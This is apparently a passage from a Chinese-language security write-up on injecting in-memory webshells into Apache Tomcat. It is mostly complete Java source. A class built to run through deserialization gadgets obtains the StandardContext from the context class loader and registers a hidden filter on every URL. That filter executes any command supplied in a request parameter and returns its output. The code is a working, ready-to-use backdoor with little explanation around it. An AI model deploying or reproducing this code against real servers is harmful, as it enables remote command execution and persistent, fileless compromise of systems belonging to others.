@Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { String cmd = request.getParameter("cmd"); response.setContentType("text/html; charset=UTF-8"); PrintWriter writer = response.getWriter(); if (cmd != null) { try { InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
java.util.Scanner scanner = new java.util.Scanner(in).useDelimiter("\\A"); String result = scanner.hasNext()?scanner.next():""; scanner.close(); writer.write(result); writer.flush(); writer.close(); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } chain.doFilter(request, response); }
@Override public void destroy() {
} }
|
利用ContextClassLoader
其实这里有两种方法,一种是用request来种马,一种是获取到StandardContext后拼接上注册恶意filter的那部分实现内存马。相对来讲第二种更简单,这里采用了第二种方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109
| package com.example.tomcat_webshell.shell;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.ApplicationFilterConfig; import org.apache.catalina.core.StandardContext; import org.apache.catalina.loader.WebappClassLoaderBase; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*; import java.io.IOException; import java.io.InputStream; import java.io.PrintWriter; import java.lang.reflect.InvocationTargetException;
public class Tomcat_Echo_inject_Filter_cloader extends AbstractTranslet implements Filter { static { try { WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); System.out.println(standardContext); Tomcat_Echo_inject_Filter_cloader filter = new Tomcat_Echo_inject_Filter_cloader(); String name = "ShellFilter"; FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap);
java.lang.reflect.Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); java.util.Map filterConfigs = (java.util.Map) Configs.get(standardContext);
java.lang.reflect.Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(org.apache.catalina.Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); filterConfigs.put(name, filterConfig);
} catch (NoSuchFieldException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } catch (InvocationTargetException e) { e.printStackTrace(); } catch (NoSuchMethodException e) { e.printStackTrace(); } catch (InstantiationException e) { e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override public void init(FilterConfig filterConfig) throws ServletException {
}
@Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { String cmd = request.getParameter("exp"); response.setContentType("text/html; charset=UTF-8"); PrintWriter writer = response.getWriter(); if (cmd != null) { try { InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
java.util.Scanner scanner = new java.util.Scanner(in).useDelimiter("\\A"); String result = scanner.hasNext()?scanner.next():""; scanner.close(); writer.write(result); writer.flush(); writer.close(); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } chain.doFilter(request, response); }
@Override public void destroy() {
} }
|